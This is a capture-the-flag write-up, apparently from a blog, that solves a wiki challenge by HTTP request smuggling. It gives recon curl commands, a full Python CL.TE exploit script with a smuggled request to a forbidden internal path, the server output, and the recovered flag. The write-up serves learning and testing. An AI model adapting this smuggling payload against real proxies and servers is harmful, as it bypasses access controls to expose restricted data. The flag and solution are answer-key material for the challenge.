Summary
The Brunnerne Inc. internal wiki sits behind layered infrastructure. Direct access to /wiki/internal/flag (hinted by robots.txt) returns a hard 403 Access is forbidden. from Kestrel. The platform, however, accepts both Content-Length and Transfer-Encoding: chunked on the same request. A classic CL.TE request-smuggling payload lets the front-end treat the whole thing as a single POST while Kestrel finishes the empty chunk and then processes a second, smuggled GET /wiki/internal/flag. That internal request bypasses the path-based forbid and returns the restricted article containing the flag.
Flag: brunner{00ps_th4t_p4g3_w4s_1nt3rn4l}
Recon
BASE=https://welcome-aboard-3df87e778cd2e6a3-global.challs.brunnerne.xyz:1337
curl --http1.1 -s "$BASE/"
curl --http1.1 -s "$BASE/robots.txt"
robots.txt is the only interesting early signal:
User-agent: *
Disallow: /wiki/internal/flag
Direct access yields a minimal 403:
curl --http1.1 -sI "$BASE/wiki/internal/flag"
# HTTP/1.1 403 Forbidden
# Content-Type: text/plain
# Content-Length: 21
# Access is forbidden.
The public wiki is a simple ASP.NET Core (Kestrel) application with a handful of static articles and a POST /search endpoint. Path-normalization, case variation, double-encoding, matrix parameters, and common header overrides all still return 403. The challenge description explicitly mentions “multiple layers of infrastructure” and that “every chunk reaches the backend, exactly as expected” — a strong pointer toward HTTP request smuggling.
Vulnerability
Front-end and Kestrel disagree on request framing when both Content-Length and Transfer-Encoding: chunked are present:
- The proxy trusts
Content-Lengthand consumes the entire body as one request. - Kestrel prefers
Transfer-Encoding: chunked, terminates at the first0\r\n\r\n, and treats any subsequent bytes as a brand-new request on the same keep-alive connection.
Because the second request never passes through the external path-authorization middleware, /wiki/internal/flag is served.
Exploitation (CL.TE)
import ssl, socket, time
HOST = "welcome-aboard-3df87e778cd2e6a3-global.challs.brunnerne.xyz"
PORT = 1337
def send_raw(req: bytes) -> str:
ctx = ssl.create_default_context()
with socket.create_connection((HOST, PORT), timeout=10) as raw:
with ctx.wrap_socket(raw, server_hostname=HOST) as s:
s.sendall(req)
time.sleep(2)
buf = b""
s.settimeout(3)
while True:
try:
chunk = s.recv(4096)
if not chunk:
break
buf += chunk
except OSError:
break
return buf.decode(errors="replace")
smuggled = (
"GET /wiki/internal/flag HTTP/1.1\r\n"
f"Host: {HOST}:{PORT}\r\n"
"Connection: close\r\n"
"\r\n"
)
body = "0\r\n\r\n" + smuggled
cl = len(body)
req = (
"POST /search HTTP/1.1\r\n"
f"Host: {HOST}:{PORT}\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: {cl}\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: keep-alive\r\n"
"\r\n"
) + body
print(send_raw(req.encode()))
The response contains the normal search-results page (first request) followed by the internal article (smuggled request):
...
<div class="breadcrumb">Help Center / Q4 Payroll Notes (Internal)</div>
<main class="card">
<h1>Q4 Payroll Notes (Internal)</h1>
...
<p>These notes are for the payroll team only and are not linked from the public wiki.
Flag: brunner{00ps_th4t_p4g3_w4s_1nt3rn4l}</p>
...
Key points
| Component | Behavior |
|---|---|
| Proxy / front-end | Honors Content-Length, ignores (or does not fully process) Transfer-Encoding
|
| Kestrel | Honors Transfer-Encoding: chunked, terminates at 0\r\n\r\n
|
| Path authorization | Applied only to requests that arrive through the normal external pipeline |
| Smuggled request | Arrives as an already-accepted keep-alive request → bypasses the forbid |
Attack chain
robots.txt Disallow: /wiki/internal/flag
|
v
Direct GET → 403 “Access is forbidden.”
|
v
CL.TE smuggle:
POST /search (Content-Length + Transfer-Encoding: chunked)
body = “0\r\n\r\n” + “GET /wiki/internal/flag …”
|
v
Proxy sees one request; Kestrel sees two
|
v
Second request reaches internal article
|
v
Flag disclosed
Top comments (0)